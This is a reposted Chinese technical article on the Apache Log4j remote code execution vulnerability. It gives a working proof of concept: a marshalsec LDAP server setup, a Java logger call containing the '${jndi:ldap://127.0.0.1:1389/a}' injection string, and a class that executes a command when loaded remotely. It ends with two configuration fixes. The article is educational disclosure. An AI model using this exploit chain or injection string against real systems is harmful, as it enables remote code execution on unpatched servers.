• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

Apache Log4j 远程代码执行漏洞和修补方案

武飞扬头像
阿里渣渣java研发组-群主
帮助1

Apache-Log4j

Apache Log4j 远程代码执行

攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响

学新通

参考:https://gitee.com/jby6666/apache-log4j-poc.git

步骤

  1. Compile Log4jRCE.java and start http server python -m http.server 8888
  2. Start ldap server
  1.  
    git clone git@github.com:mbechler/marshalsec.git
  2.  
    cd marshalsec
  3.  
    mvn clean package -DskipTests
  4.  
     
  5.  
    java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"
  1. 启动log4j.java,然后就会发现命令行出现了I am Log4jRCE from remote!!!。底层就是会远程下载Log4jRCE.class,然后执行newInstance(),所以会执行static、构造函数代码。
  1.  
    public class log4j {
  2.  
     
  3.  
    private static final Logger logger = LogManager.getLogger(log4j.class);
  4.  
     
  5.  
    public static void main(String[] args) {
  6.  
    logger.error("${jndi:ldap://127.0.0.1:1389/a}");
  7.  
    }
  8.  
    }
  1.  
    public class Log4jRCE {
  2.  
     
  3.  
    static {
  4.  
    System.out.println("I am Log4jRCE from remote!!!");
  5.  
    try {
  6.  
    String[] cmd = {"calc"};
  7.  
    java.lang.Runtime.getRuntime().exec(cmd).waitFor();
  8.  
    } catch (Exception e) {
  9.  
    e.printStackTrace();
  10.  
    }
  11.  
    }
  12.  
    }

修复方案:

(1)修改jvm参数 -Dlog4j2.formatMsgNoLookups=true

(2)修改配置 在应用classpath下添加log4j2.component.properties配置文件,log4j2.formatMsgNoLookups=true

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhfkfhac
系列文章
更多 icon
同类精品
更多 icon
继续加载